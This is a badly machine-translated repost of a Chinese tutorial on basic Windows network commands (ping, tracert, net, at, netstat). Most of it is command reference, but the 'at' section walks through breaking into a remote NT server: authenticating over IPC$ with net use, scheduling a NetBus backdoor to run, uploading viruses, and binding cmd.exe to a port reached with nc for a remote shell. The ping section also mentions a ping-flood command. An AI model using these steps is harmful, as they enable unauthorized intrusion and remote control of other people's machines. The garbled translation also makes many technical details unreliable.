Basic network command

xiaoxiao2021-03-06  36

Basic Network Command (Repost)

Several commands with network security are: ping winipcfg tracert nett netstat

1. Ping: This is one of the most useful commands in the TCP / IP protocol

It sends a series of packets to another system, the system itself sent back a response, this utility is useful for finding the remote host, it returns the result indicates whether the host can reach the host, the host sends a returned packet how long.

USAGE: PING [-T] [-a] [-n count] [-l size] [-f] [-i ttl] [-V TOS]

[-R count] [-s count] [[-j host-list] [-k Host-list]]

[-W Timeout] Destination-List

Options:

-t ping the specifed host until interrupted. (unless people are suspended, do you have been ping)

-A Resolve Addresses to Hostnames. (turn IP to host name)

- N count number of echo requests to send. (Number of response requests)

-l size send buffer size. (The size of the package)

-f set don't fragment flag in packet. (no fragment in the packet)

-i TTL TIME to LIVE. (Time)

-V TOS TYPE OF Service. (Service Type)

-r Count Record Route for Count HOPS.

-s Count Timestamp for Count HOPS.

-j host-list loose source route along host-list.

-k Host-list strict source route along host-list. (more stringent ... Hey, how to translate ..., let's put it)

-w Timeout Timeout in Milliseconds to Wait for Each Reply. (Timeout)

* If you may know one of the commands # ping -f -s 65000 ***. ***. ***. *** or the command used in the front stage, the order used when Ping mildew is the order (of course, this will only Causes our own network blocking).

In fact, this order is mainly used to see the speed of the other party, if it is the result that ping gets the request time OUT. It's afraid that you don't have to go to this host at all, it is not within your range.

2. Winipcfg:

This is used to see the gadgets of your IP address, Win98 comes with it, NT can see IP in the network monitor, there is a small utility called ... It seems to be called ipconfig, not useful I have forgotten it ... this kind of Dongdong is actually quite a lot, but since "self-contained", why do you have external demand, let alone include there is no Troy, there is no Troy, if you say, if you Not running on your own "love", isn't it possible to work? - Ha, I am sorry, I am running, but I will run two sentences: I can upload some common, classic tools to the Internet, as a backup, when is online, a company wants to work, direct Download is a completely lackless kit. This stuff is quite simple, Type a command directly under DOS, there is no parameter.

3. Tracert: is a utility that verifies to the remote host path

Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

parameter:

-d do not resolve addresses to hostnames. (Do not turn IP to host name)

-h maximum_hops maximum number of hops to search for target. (maximum tracking quantity)

-j host-list loose source route along host-list.

-w Timeout Wait Timeout Milliseconds for Each Reply. (Time OUT)

The simplest usage is that tracert hostname where HostName is a computer name or the IP address of a computer you want to track its path. Tracert will return to the various IP addresses of the final destination, do you know how to use it?

I explain it, let's explain: track to 210.142.192.130, maximum 30:

The first line: * & ^% & * I am from here (huh, I really don't want to say ^ & ^)

The fourth line: Is it going to go abroad?

The ninth line: Yeah! This is a Japanese devil site ...

4. Net: This is a great thing. If you won't use it, hurry your eyes.

The syntax of this command is that the available commands include:

Net Accounts Net Help Net Share

Net Computer Net Helpmsg Net Start

NET Config Net localgroup Net Statistics

NET Config Server Net Name Net Stop

NET Config Workstation Net Pause Net Time

Net Continue Net Print Net USE

NET File Net Send Net User

Net Group Net Session Net View

NET HELP Services lists web services that users can start.

NET HELP SYNTAX explains how to read NET HELP grammar lines.

NET HELP Command More is used to display help on one screen.

I can explain it, I will take my fingers, just talk about two ordered orders.

A.Net View

The syntax of this command is: Net View [computername / domain [: domainname]] NET View / Network: NW [computename]

NET View is used to display a list of shared resources on a computer. When using this command without options,

It displays a list of computers on the current domain or network.

Computername refers to a computer that the user wants to browse its shared resources.

/ Domain: domainname Specifies the domain where the user wants to browse the valid computer. If the domain name is omitted,

All domains on the local area network will be displayed.

/ Network: NW Displays all available servers on the NetWare network. If a calculation is specified

The aircraft name will display the available resources on the computer in the NetWare network.

As for example, * If you know a remote computer ***. ***. **. *** has a resource sharing, then run

Net view ***. ***. **. *** is already

B.Net USE

The syntax of this command is: Net Use [DeviceName *] [ComputerNameshaRename [volume] [password *]]

[/ User: [DomainName] username]

[[/ Delete] [/ personistent: {yes no}]]]

NET Use [DeviceName *] [Password *]] [/ home]

NET USE [/ persistent: {yes no}]

NET USE is used to connect your computer with shared resources, or cut off your computer and shared resources.

connection. When you use this command without an option, it lists the connection to your computer.

DeviceName Specifies a name to connect with the resource, or specify the device to be cut. There are two types

Device Name: Disk drive (D: to Z :) and printers (LPT1: to LPT3 :). enter

An asterisk instead of a specified device name can allocate the next available device name.

ComputerName refers to the name of the computer that controls the shared resource. If the computer name contains empty characters,

It is necessary to enclose the double reverse slope () and the computer name to enclose in quotation marks (""). Computer name

There can be 1 to 15 characters.

ShareName refers to the network name of the shared resource.

Volume Specifies the NetWare volume on a server. Users must install NetWare customer service

(Windows NT Workstation) or NetWare Gateway Service (Windows NT Service

The device is connected to the NetWare server.

Password refers to the password required to access the shared resource.

* Perform a password prompt. When you enter a password at the password prompt, the password is not displayed.

/ User specifies a different username when the connection is connected.

DomainName Specifies another domain. If the default domain, the current login domain will be used. UserName Specifies the username of the login.

/ HOME connects users to their host directory.

/ DELETE Cancels a network connection and deletes the connection from the permanent connection list.

/ Persistent controls the use of a permanent network connection. Its default is the most recently used settings.

YES Saves them when the connection is generated and restores them when logging in.

NO does not save the connection or subsequent connection being generated; existing connections will be

restore. You can use the / delete option switch to delete permanent connections.

PS: When you see a friend in the post of the Green Corps, there is a wonderful song with this order, and you also explain that a probably:

Enter file in the browser: ///***.***.6*.***c

Then the content shared on the Internet will appear, as if it is seen in the FTP site on the browser. You may wish to try it, you can also try it.

5.at: Scheduled at a specific date and time run certain commands and programs.

Start the Schedule service before running the AT command. Hey, now you have to sell, just learn the net command, but this start command I have not detail, I have a help file, explore the usage of various commands.

C: "Net Start Schedule

Schedule is starting service .....

The Schedulw service was successfully launched.

AT [computename] [[ID] [/ delete] / delete [/ yes]]

AT [computename] Time [/ interactive]

[/ Every: Date [, ...] / next: Date [, ...] "Command"

ComputerName Specifies a remote computer. If this parameter is omitted

The command will be scheduled to run on the unit.

ID specifies the identification number to the scheduled progress command.

/ Delete deletes a command that has been scheduled. If the logo is omitted, all scheduled progress on the computer

The command will be deleted.

/ Yes is used to delete all jobs, and do not want to confirm when running deletion

Information.

Time specifies the time to run.

/ Interactive allows homework to interact with the user through desktop at runtime.

/ Every: date [, ...] specifies to run commands on a week or monthly day (or a few days).

If the date is omitted, the default is to run on this day.

/ Next: Date [, ...] specifies the command in the next specified date (eg, next Wednesday).

If the date is omitted, the default is to run on this day.

"Command" is ready to run Windows NT commands or batch files.

Know how to use AT, let's take a look at how to run NTSRV.exe on remote NT:

1 Using the administrator to log in to the destination server, the method is: NET USE XXXXIPC ¥ "adminPwd" / user: "Adminuser" (here you can see Killusa's article "How to get in nt") 2 Take NTSRV.exe to boot remote : Netsvc XXXX Schedule / Start

3 Using at.exe to run at the remote server setup program timed, it is the most ideal, so you can get the server with letmein.exe, then:

AT x.x.x 00:00 NTSRV.EXE / Port: 64321

One 00:00 should be changed to the specific time a little capacity of letmein.exe, wait for a while, then launch NetBus.exe locally, type the server IP address or HostName, connection! * For the first method, you want to run Dongdong, such as viruses, you can use NetBus to upload a variety of "big pills" to the destination server, and use NetBus "Start Program" Type the full path, OK! The second method is to use NetBus's "App Redirect" function to start the remote Telnet service, as follows: "App Redirect" in NetBus, type "C:" Winntsystem32cmd.exe ", Port is: 4321, the service is started, Then run in the local: NC XXXX 4321, the screen of the DOS startup indicates the connection success:

Microsoft (R) Windows NT (TM)

(C) Copyright 1985-1996 Microsoft Corp.

C: "

Note: There is a small paragraph here.

6.NetStat This is a utility that observes network connection status.

It can verify the current connection status of IP, and then verify the service on the system after disconnecting your basic level communication. This service includes checking traffic and / or verifying that you are creating a session with a remote site, it can easily do this. Online, a lot of tools such as X-NetStat, is the Win interface, more intuitive, and there are not many features, this command is as follows:

Displays Protocol Statistics and Current TCP / IP Network Connections. (Display Protocol and Current Network Connection)

NetStat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-A Displays All Connections and Listening Ports. (Show all connections and listening ports)

-e Displays Ethernet statistics. this may be combined with the -soption. (Show Ether Connection, can be used with -s)

-n Displays Addresses and port numbers in numeri

转载请注明原文地址:https://www.9cbs.com/read-61766.html

New Post(0)